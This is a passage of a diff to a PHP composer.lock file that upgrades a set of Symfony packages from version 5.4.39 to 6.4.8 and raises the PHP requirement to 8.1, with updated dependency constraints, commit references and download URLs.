"ef836152bf13472dc5fb5b08b0c0c4cfeddc0fcc", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "psr/log": "^1|^2|^3", - "symfony/var-dumper": "^4.4|^5.0|^6.0" + "symfony/var-dumper": "^5.4|^6.0|^7.0" + }, + "conflict": { + "symfony/deprecation-contracts": "<2.5", + "symfony/http-kernel": "<6.4" }, "require-dev": { - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/http-kernel": "^4.4|^5.0|^6.0", - "symfony/serializer": "^4.4|^5.0|^6.0" + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/http-kernel": "^6.4|^7.0", + "symfony/serializer": "^5.4|^6.0|^7.0" }, "bin": [ "Resources/bin/patch-type-declarations" @@ -4486,7 +5351,7 @@ "description": "Provides tools to manage errors and ease debugging PHP code", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/error-handler/tree/v5.4.39" + "source": "https://github.com/symfony/error-handler/tree/v6.4.8" }, "funding": [ { @@ -4502,48 +5367,43 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/event-dispatcher", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/event-dispatcher.git", - "reference": "d40fae9fd85c762b6ba378152fdd1157a85d7e4f" + "reference": "8d7507f02b06e06815e56bb39aa0128e3806208b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/d40fae9fd85c762b6ba378152fdd1157a85d7e4f", - "reference": "d40fae9fd85c762b6ba378152fdd1157a85d7e4f", + "url": "https://api.github.com/repos/symfony/event-dispatcher/zipball/8d7507f02b06e06815e56bb39aa0128e3806208b", + "reference": "8d7507f02b06e06815e56bb39aa0128e3806208b", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/event-dispatcher-contracts": "^2|^3", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "symfony/event-dispatcher-contracts": "^2.5|^3" }, "conflict": { - "symfony/dependency-injection": "<4.4" + "symfony/dependency-injection": "<5.4", + "symfony/service-contracts": "<2.5" }, "provide": { "psr/event-dispatcher-implementation": "1.0", - "symfony/event-dispatcher-implementation": "2.0" + "symfony/event-dispatcher-implementation": "2.0|3.0" }, "require-dev": { "psr/log": "^1|^2|^3", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/expression-language": "^4.4|^5.0|^6.0", - "symfony/http-foundation": "^4.4|^5.0|^6.0", - "symfony/service-contracts": "^1.1|^2|^3", - "symfony/stopwatch": "^4.4|^5.0|^6.0" - }, - "suggest": { - "symfony/dependency-injection": "", - "symfony/http-kernel": "" + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/error-handler": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/stopwatch": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -4571,7 +5431,7 @@ "description": "Provides tools that allow your application components to communicate with each other by dispatching events and listening to them", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/event-dispatcher/tree/v5.4.39" + "source": "https://github.com/symfony/event-dispatcher/tree/v6.4.8" }, "funding": [ { @@ -4587,33 +5447,30 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/event-dispatcher-contracts", - "version": "v2.5.3", + "version": "v3.5.0", "source": { "type": "git", "url": "https://github.com/symfony/event-dispatcher-contracts.git", - "reference": "540f4c73e87fd0c71ca44a6aa305d024ac68cb73" + "reference": "8f93aec25d41b72493c6ddff14e916177c9efc50" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/540f4c73e87fd0c71ca44a6aa305d024ac68cb73", - "reference": "540f4c73e87fd0c71ca44a6aa305d024ac68cb73", + "url": "https://api.github.com/repos/symfony/event-dispatcher-contracts/zipball/8f93aec25d41b72493c6ddff14e916177c9efc50", + "reference": "8f93aec25d41b72493c6ddff14e916177c9efc50", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "psr/event-dispatcher": "^1" }, - "suggest": { - "symfony/event-dispatcher-implementation": "" - }, "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -4650,7 +5507,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/event-dispatcher-contracts/tree/v3.5.0" }, "funding": [ { @@ -4666,26 +5523,27 @@ "type": "tidelift" } ], - "time": "2024-01-23T13:51:25+00:00" + "time": "2024-04-18T09:32:20+00:00" }, { "name": "symfony/finder", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "f6a96e4fcd468a25fede16ee665f50ced856bd0a" + "reference": "3ef977a43883215d560a2cecb82ec8e62131471c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/f6a96e4fcd468a25fede16ee665f50ced856bd0a", - "reference": "f6a96e4fcd468a25fede16ee665f50ced856bd0a", + "url": "https://api.github.com/repos/symfony/finder/zipball/3ef977a43883215d560a2cecb82ec8e62131471c", + "reference": "3ef977a43883215d560a2cecb82ec8e62131471c", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1" + }, + "require-dev": { + "symfony/filesystem": "^6.0|^7.0" }, "type": "library", "autoload": { @@ -4713,7 +5571,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v5.4.39" + "source": "https://github.com/symfony/finder/tree/v6.4.8" }, "funding": [ { @@ -4729,39 +5587,40 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/http-foundation", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/http-foundation.git", - "reference": "3356c93efc30b0c85a37606bdfef16b813faec0e" + "reference": "27de8cc95e11db7a50b027e71caaab9024545947" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-foundation/zipball/3356c93efc30b0c85a37606bdfef16b813faec0e", - "reference": "3356c93efc30b0c85a37606bdfef16b813faec0e", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/27de8cc95e11db7a50b027e71caaab9024545947", + "reference": "27de8cc95e11db7a50b027e71caaab9024545947", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.1", - "symfony/polyfill-php80": "^1.16" + "symfony/polyfill-php83": "^1.27" }, - "require-dev": { - "predis/predis": "~1.0", - "symfony/cache": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^5.4|^6.0", - "symfony/expression-language": "^4.4|^5.0|^6.0", - "symfony/http-kernel": "^5.4.12|^6.0.12|^6.1.4", - "symfony/mime": "^4.4|^5.0|^6.0", - "symfony/rate-limiter": "^5.2|^6.0" + "conflict": { + "symfony/cache": "<6.3" }, - "suggest": { - "symfony/mime": "To use the file extension guesser" + "require-dev": { + "doctrine/dbal": "^2.13.1|^3|^4", + "predis/predis": "^1.1|^2.0", + "symfony/cache": "^6.3|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/http-kernel": "^5.4.12|^6.0.12|^6.1.4|^7.0", + "symfony/mime": "^5.4|^6.0|^7.0", + "symfony/rate-limiter": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -4789,7 +5648,7 @@ "description": "Defines an object-oriented layer for the HTTP specification", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-foundation/tree/v5.4.39" + "source": "https://github.com/symfony/http-foundation/tree/v6.4.8" }, "funding": [ { @@ -4805,77 +5664,78 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/http-kernel", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/http-kernel.git", - "reference": "1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0" + "reference": "6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-kernel/zipball/1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0", - "reference": "1d812dc3a2863cc4246aaa636b0d71e0bf68e6b0", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1", + "reference": "6c519aa3f32adcfd1d1f18d923f6b227d9acf3c1", "shasum": "" }, "require": { - "php": ">=7.2.5", - "psr/log": "^1|^2", - "symfony/deprecation-contracts": "^2.1|^3", - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/event-dispatcher": "^5.0|^6.0", - "symfony/http-foundation": "^5.4.21|^6.2.7", - "symfony/polyfill-ctype": "^1.8", - "symfony/polyfill-php73": "^1.9", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "psr/log": "^1|^2|^3", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/error-handler": "^6.4|^7.0", + "symfony/event-dispatcher": "^5.4|^6.0|^7.0", + "symfony/http-foundation": "^6.4|^7.0", + "symfony/polyfill-ctype": "^1.8" }, "conflict": { "symfony/browser-kit": "<5.4", - "symfony/cache": "<5.0", - "symfony/config": "<5.0", - "symfony/console": "<4.4", - "symfony/dependency-injection": "<5.3", - "symfony/doctrine-bridge": "<5.0", - "symfony/form": "<5.0", - "symfony/http-client": "<5.0", - "symfony/mailer": "<5.0", - "symfony/messenger": "<5.0", - "symfony/translation": "<5.0", - "symfony/twig-bridge": "<5.0", - "symfony/validator": "<5.0", + "symfony/cache": "<5.4", + "symfony/config": "<6.1", + "symfony/console": "<5.4", + "symfony/dependency-injection": "<6.4", + "symfony/doctrine-bridge": "<5.4", + "symfony/form": "<5.4", + "symfony/http-client": "<5.4", + "symfony/http-client-contracts": "<2.5", + "symfony/mailer": "<5.4", + "symfony/messenger": "<5.4", + "symfony/translation": "<5.4", + "symfony/translation-contracts": "<2.5", + "symfony/twig-bridge": "<5.4", + "symfony/validator": "<6.4", + "symfony/var-dumper": "<6.3", "twig/twig": "<2.13" }, "provide": { - "psr/log-implementation": "1.0|2.0" + "psr/log-implementation": "1.0|2.0|3.0" }, "require-dev": { "psr/cache": "^1.0|^2.0|^3.0", - "symfony/browser-kit": "^5.4|^6.0", - "symfony/config": "^5.0|^6.0", - "symfony/console": "^4.4|^5.0|^6.0", - "symfony/css-selector": "^4.4|^5.0|^6.0", - "symfony/dependency-injection": "^5.3|^6.0", - "symfony/dom-crawler": "^4.4|^5.0|^6.0", - "symfony/expression-language": "^4.4|^5.0|^6.0", - "symfony/finder": "^4.4|^5.0|^6.0", - "symfony/http-client-contracts": "^1.1|^2|^3", - "symfony/process": "^4.4|^5.0|^6.0", - "symfony/routing": "^4.4|^5.0|^6.0", - "symfony/stopwatch": "^4.4|^5.0|^6.0", - "symfony/translation": "^4.4|^5.0|^6.0", - "symfony/translation-contracts": "^1.1|^2|^3", - "symfony/var-dumper": "^4.4.31|^5.4", + "symfony/browser-kit": "^5.4|^6.0|^7.0", + "symfony/clock": "^6.2|^7.0", + "symfony/config": "^6.1|^7.0", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/css-selector": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^6.4|^7.0", + "symfony/dom-crawler": "^5.4|^6.0|^7.0", + "symfony/expression-language": "^5.4|^6.0|^7.0", + "symfony/finder": "^5.4|^6.0|^7.0", + "symfony/http-client-contracts": "^2.5|^3", + "symfony/process": "^5.4|^6.0|^7.0", + "symfony/property-access": "^5.4.5|^6.0.5|^7.0", + "symfony/routing": "^5.4|^6.0|^7.0", + "symfony/serializer": "^6.4.4|^7.0.4", + "symfony/stopwatch": "^5.4|^6.0|^7.0", + "symfony/translation": "^5.4|^6.0|^7.0", + "symfony/translation-contracts": "^2.5|^3", + "symfony/uid": "^5.4|^6.0|^7.0", + "symfony/validator": "^6.4|^7.0", + "symfony/var-dumper": "^5.4|^6.4|^7.0", + "symfony/var-exporter": "^6.2|^7.0", "twig/twig": "^2.13|^3.0.4" }, - "suggest": { - "symfony/browser-kit": "", - "symfony/config": "", - "symfony/console": "", - "symfony/dependency-injection": "" - }, "type": "library", "autoload": { "psr-4": { @@ -4902,7 +5762,7 @@ "description": "Provides a structured process for converting a Request into a Response", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-kernel/tree/v5.4.39" + "source": "https://github.com/symfony/http-kernel/tree/v6.4.8" }, "funding": [ { @@ -4918,44 +5778,44 @@ "type": "tidelift" } ], - "time": "2024-04-29T11:17:46+00:00" + "time": "2024-06-02T16:06:25+00:00" }, { "name": "symfony/mime", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/mime.git", - "reference": "a5364f016fd9e090f7b4f250a97ea6925a5ca985" + "reference": "618597ab8b78ac86d1c75a9d0b35540cda074f33" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mime/zipball/a5364f016fd9e090f7b4f250a97ea6925a5ca985", - "reference": "a5364f016fd9e090f7b4f250a97ea6925a5ca985", + "url": "https://api.github.com/repos/symfony/mime/zipball/618597ab8b78ac86d1c75a9d0b35540cda074f33", + "reference": "618597ab8b78ac86d1c75a9d0b35540cda074f33", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-intl-idn": "^1.10", - "symfony/polyfill-mbstring": "^1.0", - "symfony/polyfill-php80": "^1.16" + "symfony/polyfill-mbstring": "^1.0" }, "conflict": { "egulias/email-validator": "~3.0.0", "phpdocumentor/reflection-docblock": "<3.2.2", "phpdocumentor/type-resolver": "<1.4.0", - "symfony/mailer": "<4.4", - "symfony/serializer": "<5.4.35|>=6,<6.3.12|>=6.4,<6.4.3" + "symfony/mailer": "<5.4", + "symfony/serializer": "<6.3.2" }, "require-dev": { "egulias/email-validator": "^2.1.10|^3.1|^4", + "league/html-to-markdown": "^5.0", "phpdocumentor/reflection-docblock": "^3.0|^4.0|^5.0", - "symfony/dependency-injection": "^4.4|^5.0|^6.0", - "symfony/process": "^5.4|^6.4", - "symfony/property-access": "^4.4|^5.1|^6.0", - "symfony/property-info": "^4.4|^5.1|^6.0", - "symfony/serializer": "^5.4.35|~6.3.12|^6.4.3" + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/process": "^5.4|^6.4|^7.0", + "symfony/property-access": "^5.4|^6.0|^7.0", + "symfony/property-info": "^5.4|^6.0|^7.0", + "symfony/serializer": "^6.3.2|^7.0" }, "type": "library", "autoload": { @@ -4987,7 +5847,7 @@ "mime-type" ], "support": { - "source": "https://github.com/symfony/mime/tree/v5.4.39" + "source": "https://github.com/symfony/mime/tree/v6.4.8" }, "funding": [ { @@ -5003,7 +5863,7 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-06-01T07:50:16+00:00" }, { "name": "symfony/polyfill-ctype", @@ -5560,82 +6420,6 @@ ], "time": "2024-01-29T20:11:03+00:00" }, - { - "name": "symfony/polyfill-php73", - "version": "v1.29.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-php73.git", - "reference": "21bd091060673a1177ae842c0ef8fe30893114d2" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/21bd091060673a1177ae842c0ef8fe30893114d2", - "reference": "21bd091060673a1177ae842c0ef8fe30893114d2", - "shasum": "" - }, - "require": { - "php": ">=7.1" - }, - "type": "library", - "extra": { - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "autoload": { - "files": [ - "bootstrap.php" - ], - "psr-4": { - "Symfony\\Polyfill\\Php73\\": "" - }, - "classmap": [ - "Resources/stubs" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-php73/tree/v1.29.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2024-01-29T20:11:03+00:00" - }, { "name": "symfony/polyfill-php80", "version": "v1.29.0", @@ -5717,21 +6501,22 @@ "time": "2024-01-29T20:11:03+00:00" }, { - "name": "symfony/polyfill-php81", + "name": "symfony/polyfill-php83", "version": "v1.29.0", "source": { "type": "git", - "url": "https://github.com/symfony/polyfill-php81.git", - "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d" + "url": "https://github.com/symfony/polyfill-php83.git", + "reference": "86fcae159633351e5fd145d1c47de6c528f8caff" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-php81/zipball/c565ad1e63f30e7477fc40738343c62b40bc672d", - "reference": "c565ad1e63f30e7477fc40738343c62b40bc672d", + "url": "https://api.github.com/repos/symfony/polyfill-php83/zipball/86fcae159633351e5fd145d1c47de6c528f8caff", + "reference": "86fcae159633351e5fd145d1c47de6c528f8caff", "shasum": "" }, "require": { - "php": ">=7.1" + "php": ">=7.1", + "symfony/polyfill-php80": "^1.14" }, "type": "library", "extra": { @@ -5745,7 +6530,7 @@ "bootstrap.php" ], "psr-4": { - "Symfony\\Polyfill\\Php81\\": "" + "Symfony\\Polyfill\\Php83\\": "" }, "classmap": [ "Resources/stubs" @@ -5765,7 +6550,7 @@ "homepage": "https://symfony.com/contributors" } ], - "description": "Symfony polyfill backporting some PHP 8.1+ features to lower PHP versions", + "description": "Symfony polyfill backporting some PHP 8.3+ features to lower PHP versions", "homepage": "https://symfony.com", "keywords": [ "compatibility", @@ -5774,7 +6559,7 @@ "shim" ], "support": { - "source": "https://github.com/symfony/polyfill-php81/tree/v1.29.0" + "source": "https://github.com/symfony/polyfill-php83/tree/v1.29.0" }, "funding": [ { @@ -5794,21 +6579,20 @@ }, { "name": "symfony/process", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/process.git", - "reference": "85a554acd7c28522241faf2e97b9541247a0d3d5" + "reference": "8d92dd79149f29e89ee0f480254db595f6a6a2c5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/process/zipball/85a554acd7c28522241faf2e97b9541247a0d3d5", - "reference": "85a554acd7c28522241faf2e97b9541247a0d3d5", + "url": "https://api.github.com/repos/symfony/process/zipball/8d92dd79149f29e89ee0f480254db595f6a6a2c5", + "reference": "8d92dd79149f29e89ee0f480254db595f6a6a2c5", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1" }, "type": "library", "autoload": { @@ -5836,7 +6620,7 @@ "description": "Executes commands in sub-processes", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/process/tree/v5.4.39" + "source": "https://github.com/symfony/process/tree/v6.4.8" }, "funding": [ { @@ -5852,37 +6636,34 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/service-contracts", - "version": "v2.5.3", + "version": "v3.5.0", "source": { "type": "git", "url": "https://github.com/symfony/service-contracts.git", - "reference": "a2329596ddc8fd568900e3fc76cba42489ecc7f3" + "reference": "bd1d9e59a81d8fa4acdcea3f617c581f7475a80f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/service-contracts/zipball/a2329596ddc8fd568900e3fc76cba42489ecc7f3", - "reference": "a2329596ddc8fd568900e3fc76cba42489ecc7f3", + "url": "https://api.github.com/repos/symfony/service-contracts/zipball/bd1d9e59a81d8fa4acdcea3f617c581f7475a80f", + "reference": "bd1d9e59a81d8fa4acdcea3f617c581f7475a80f", "shasum": "" }, "require": { - "php": ">=7.2.5", - "psr/container": "^1.1", - "symfony/deprecation-contracts": "^2.1|^3" + "php": ">=8.1", + "psr/container": "^1.1|^2.0", + "symfony/deprecation-contracts": "^2.5|^3" }, "conflict": { "ext-psr": "<1.1|>=2" }, - "suggest": { - "symfony/service-implementation": "" - }, "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -5892,7 +6673,10 @@ "autoload": { "psr-4": { "Symfony\\Contracts\\Service\\": "" - } + }, + "exclude-from-classmap": [ + "/Test/" + ] }, "notification-url": "https://packagist.org/downloads/", "license": [ @@ -5919,7 +6703,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/service-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/service-contracts/tree/v3.5.0" }, "funding": [ { @@ -5935,38 +6719,38 @@ "type": "tidelift" } ], - "time": "2023-04-21T15:04:16+00:00" + "time": "2024-04-18T09:32:20+00:00" }, { "name": "symfony/string", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "495e71bae5862308051b9e63cc3e34078eed83ef" + "reference": "a147c0f826c4a1f3afb763ab8e009e37c877a44d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/495e71bae5862308051b9e63cc3e34078eed83ef", - "reference": "495e71bae5862308051b9e63cc3e34078eed83ef", + "url": "https://api.github.com/repos/symfony/string/zipball/a147c0f826c4a1f3afb763ab8e009e37c877a44d", + "reference": "a147c0f826c4a1f3afb763ab8e009e37c877a44d", "shasum": "" }, "require": { - "php": ">=7.2.5", + "php": ">=8.1", "symfony/polyfill-ctype": "~1.8", "symfony/polyfill-intl-grapheme": "~1.0", "symfony/polyfill-intl-normalizer": "~1.0", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "~1.15" + "symfony/polyfill-mbstring": "~1.0" }, "conflict": { - "symfony/translation-contracts": ">=3.0" + "symfony/translation-contracts": "<2.5" }, "require-dev": { - "symfony/error-handler": "^4.4|^5.0|^6.0", - "symfony/http-client": "^4.4|^5.0|^6.0", - "symfony/translation-contracts": "^1.1|^2", - "symfony/var-exporter": "^4.4|^5.0|^6.0" + "symfony/error-handler": "^5.4|^6.0|^7.0", + "symfony/http-client": "^5.4|^6.0|^7.0", + "symfony/intl": "^6.2|^7.0", + "symfony/translation-contracts": "^2.5|^3.0", + "symfony/var-exporter": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -6005,7 +6789,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v5.4.39" + "source": "https://github.com/symfony/string/tree/v6.4.8" }, "funding": [ { @@ -6021,57 +6805,55 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/translation", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/translation.git", - "reference": "0fabede35e3985c4f96089edeeefe8313e15ca3a" + "reference": "a002933b13989fc4bd0b58e04bf7eec5210e438a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/0fabede35e3985c4f96089edeeefe8313e15ca3a", - "reference": "0fabede35e3985c4f96089edeeefe8313e15ca3a", + "url": "https://api.github.com/repos/symfony/translation/zipball/a002933b13989fc4bd0b58e04bf7eec5210e438a", + "reference": "a002933b13989fc4bd0b58e04bf7eec5210e438a", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/deprecation-contracts": "^2.1|^3", + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "^1.16", - "symfony/translation-contracts": "^2.3" + "symfony/translation-contracts": "^2.5|^3.0" }, "conflict": { - "symfony/config": "<4.4", - "symfony/console": "<5.3", - "symfony/dependency-injection": "<5.0", - "symfony/http-kernel": "<5.0", - "symfony/twig-bundle": "<5.0", - "symfony/yaml": "<4.4" + "symfony/config": "<5.4", + "symfony/console": "<5.4", + "symfony/dependency-injection": "<5.4", + "symfony/http-client-contracts": "<2.5", + "symfony/http-kernel": "<5.4", + "symfony/service-contracts": "<2.5", + "symfony/twig-bundle": "<5.4", + "symfony/yaml": "<5.4" }, "provide": { - "symfony/translation-implementation": "2.3" + "symfony/translation-implementation": "2.3|3.0" }, "require-dev": { + "nikic/php-parser": "^4.18|^5.0", "psr/log": "^1|^2|^3", - "symfony/config": "^4.4|^5.0|^6.0", - "symfony/console": "^5.4|^6.0", - "symfony/dependency-injection": "^5.0|^6.0", - "symfony/finder": "^4.4|^5.0|^6.0", - "symfony/http-client-contracts": "^1.1|^2.0|^3.0", - "symfony/http-kernel": "^5.0|^6.0", - "symfony/intl": "^4.4|^5.0|^6.0", + "symfony/config": "^5.4|^6.0|^7.0", + "symfony/console": "^5.4|^6.0|^7.0", + "symfony/dependency-injection": "^5.4|^6.0|^7.0", + "symfony/finder": "^5.4|^6.0|^7.0", + "symfony/http-client-contracts": "^2.5|^3.0", + "symfony/http-kernel": "^5.4|^6.0|^7.0", + "symfony/intl": "^5.4|^6.0|^7.0", "symfony/polyfill-intl-icu": "^1.21", - "symfony/service-contracts": "^1.1.2|^2|^3", - "symfony/yaml": "^4.4|^5.0|^6.0" - }, - "suggest": { - "psr/log-implementation": "To use logging capability in translator", - "symfony/config": "", - "symfony/yaml": "" + "symfony/routing": "^5.4|^6.0|^7.0", + "symfony/service-contracts": "^2.5|^3", + "symfony/yaml": "^5.4|^6.0|^7.0" }, "type": "library", "autoload": { @@ -6102,7 +6884,7 @@ "description": "Provides tools to internationalize your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/translation/tree/v5.4.39" + "source": "https://github.com/symfony/translation/tree/v6.4.8" }, "funding": [ { @@ -6118,32 +6900,29 @@ "type": "tidelift" } ], - "time": "2024-04-18T08:26:06+00:00" + "time": "2024-05-31T14:49:08+00:00" }, { "name": "symfony/translation-contracts", - "version": "v2.5.3", + "version": "v3.5.0", "source": { "type": "git", "url": "https://github.com/symfony/translation-contracts.git", - "reference": "b0073a77ac0b7ea55131020e87b1e3af540f4664" + "reference": "b9d2189887bb6b2e0367a9fc7136c5239ab9b05a" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/b0073a77ac0b7ea55131020e87b1e3af540f4664", - "reference": "b0073a77ac0b7ea55131020e87b1e3af540f4664", + "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/b9d2189887bb6b2e0367a9fc7136c5239ab9b05a", + "reference": "b9d2189887bb6b2e0367a9fc7136c5239ab9b05a", "shasum": "" }, "require": { - "php": ">=7.2.5" - }, - "suggest": { - "symfony/translation-implementation": "" + "php": ">=8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-main": "2.5-dev" + "dev-main": "3.5-dev" }, "thanks": { "name": "symfony/contracts", @@ -6153,7 +6932,10 @@ "autoload": { "psr-4": { "Symfony\\Contracts\\Translation\\": "" - } + }, + "exclude-from-classmap": [ + "/Test/" + ] }, "notification-url": "https://packagist.org/downloads/", "license": [ @@ -6180,7 +6962,7 @@ "standards" ], "support": { - "source": "https://github.com/symfony/translation-contracts/tree/v2.5.3" + "source": "https://github.com/symfony/translation-contracts/tree/v3.5.0" }, "funding": [ { @@ -6196,43 +6978,39 @@ "type": "tidelift" } ], - "time": "2024-01-23T13:51:25+00:00" + "time": "2024-04-18T09:32:20+00:00" }, { "name": "symfony/var-dumper", - "version": "v5.4.39", + "version": "v6.4.8", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e" + "reference": "ad23ca4312395f0a8a8633c831ef4c4ee542ed25" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e", - "reference": "1987f86ad7f339fe3d3e8e6cf3b7ce4d4b8e547e", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/ad23ca4312395f0a8a8633c831ef4c4ee542ed25", + "reference": "ad23ca4312395f0a8a8633c831ef4c4ee542ed25", "shasum": "" }, "require": { - "php": ">=7.2.5", - "symfony/polyfill-mbstring": "~1.0", - "symfony/polyfill-php80": "^1.16" + "php": ">=8.1", + "symfony/deprecation-contracts": "^2.5|^3", + "symfony/polyfill-mbstring": "~1.0" }, "conflict": { - "symfony/console": "<4.4" + "symfony/console": "<5.4" }, "require-dev": { "ext-iconv": "*", - "symfony/console": "^4.4|^5.0|^6.0", - 